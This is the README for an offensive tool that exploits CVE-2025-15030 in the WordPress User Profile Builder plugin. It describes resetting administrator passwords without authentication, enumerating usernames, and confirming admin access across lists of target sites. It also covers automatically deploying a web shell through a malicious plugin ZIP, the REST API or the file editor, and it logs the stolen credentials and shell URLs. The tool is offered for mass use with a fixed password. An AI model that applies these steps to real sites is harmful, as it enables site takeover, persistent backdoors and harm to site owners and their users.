
User Profile Builder < 3.15.2 - Unauthenticated Arbitrary Password Reset
User Profile Builder < 3.15.2 - Unauthenticated Arbitrary Password Reset
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
| Field | Detail |
|---|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | User Profile Builder for WordPress |
| Affected | All versions before 3.15.2 |
| Auth | None required |
| Type | Improper Password Reset — Unauthenticated Account Takeover |
| CWE | CWE-640 · Weak Password Recovery Mechanism |
Root Cause:
The Profile Builder plugin's password recovery flow (action2=recover_password2) does not properly validate the reset key or enforce token expiry. By submitting a crafted POST with a valid password_recovery_nonce_field2 extracted from the reset page, an unauthenticated attacker can set a new password for any WordPress user — including administrators — knowing only their username. No email interaction or valid reset token is required.
This tool implements two independent attack chains against each target, both followed by optional shell deployment:
┌────────────────────────────────────────────────────────────────────┐
│ CHAIN 1 · CORE (wp-login native reset abuse) │
│ │
│ POST /wp-login.php?action=lostpassword (trigger reset) │
│ GET /wp-login.php?action=rp&key=... (follow reset link) │
│ POST /wp-login.php?action=resetpass (inject new password) │
│ Enumerate usernames → brute strict login → verify /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ CHAIN 2 · PB (Profile Builder reset-from-link) │
│ │
│ Load reset URLs from pb_reset_links.txt │
│ GET <reset_url> → extract nonce + userData │
│ POST action2=recover_password2 → set new password │
│ Strict login → verify /wp-admin/ access │
├───────────────────────────────────────────────────────────��────────┤
│ SHELL UPLOAD (runs after any confirmed admin hit) │
│ │
│ Method 1 → plugin-install.php upload (Nxploited.zip) │
│ Method 2 → REST API /wp-json/wp/v2/plugins │
│ Method 3 → Plugin/Theme editor (write Nx.php directly) │
│ Verify → GET /wp-content/plugins/Nxploited/Nx.php │
│ Log → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
Place Nxploited.zip in the same directory as the script to enable shell upload. The tool runs without it but shell deployment will be skipped.
python3 CVE-2025-15030.py
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Output file for core wp-login reset successes: scan_results/wp_login_reset_success.txt
Output file for Nxploited shells: scan_results/shells.txt
Profile Builder reset links file (optional): pb_reset_links.txt
Password used for all reset and login attempts is fixed internally:
Nxploited_adminSA
list.txt — Targets (required)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — Profile Builder Reset Links (optional)If you have captured password reset email links from Profile Builder, paste them here one per line. The tool will:
password_recovery_nonce_field2 + userDataaction2=recover_password2https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
The tool automatically discovers WordPress usernames using three methods before attempting login:
| Method | Endpoint |
|---|---|
| Author redirect | /?author=1 → /?author=10 |
| REST API | /wp-json/wp/v2/users |
| Hostname heuristic | First label of domain name |
| Default fallback | admin always included |
Every login attempt is strictly verified before writing results. The tool checks:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → users.php indicator
/wp-admin/plugins.php → plugins.php indicator
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
A result is only written to disk when ≥ 3 admin markers are confirmed.
After a confirmed admin session the tool attempts three escalation methods in order:
| Method | Endpoint | Trigger |
|---|---|---|
| Plugin Upload | /wp-admin/update.php?action=upload-plugin | Uploads Nxploited.zip via install form |
| REST API | /wp-json/wp/v2/plugins | Direct ZIP POST |
| Editor Write | /wp-admin/plugin-editor.php | Writes Nx.php via file editor |
Shell verification: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| File | Contents |
|---|---|
scan_results/wp_login_reset_success.txt | Confirmed admin hits via CORE chain |
scan_results/shells.txt | Deployed shell URLs with credentials |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php
| Column | Meaning |
|---|---|
KEY | Reset flow initiated successfully |
RESET | New password accepted by server |
ACCESS | Number of confirmed admin logins |
SHELL | OK if Nx.php is confirmed live |
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited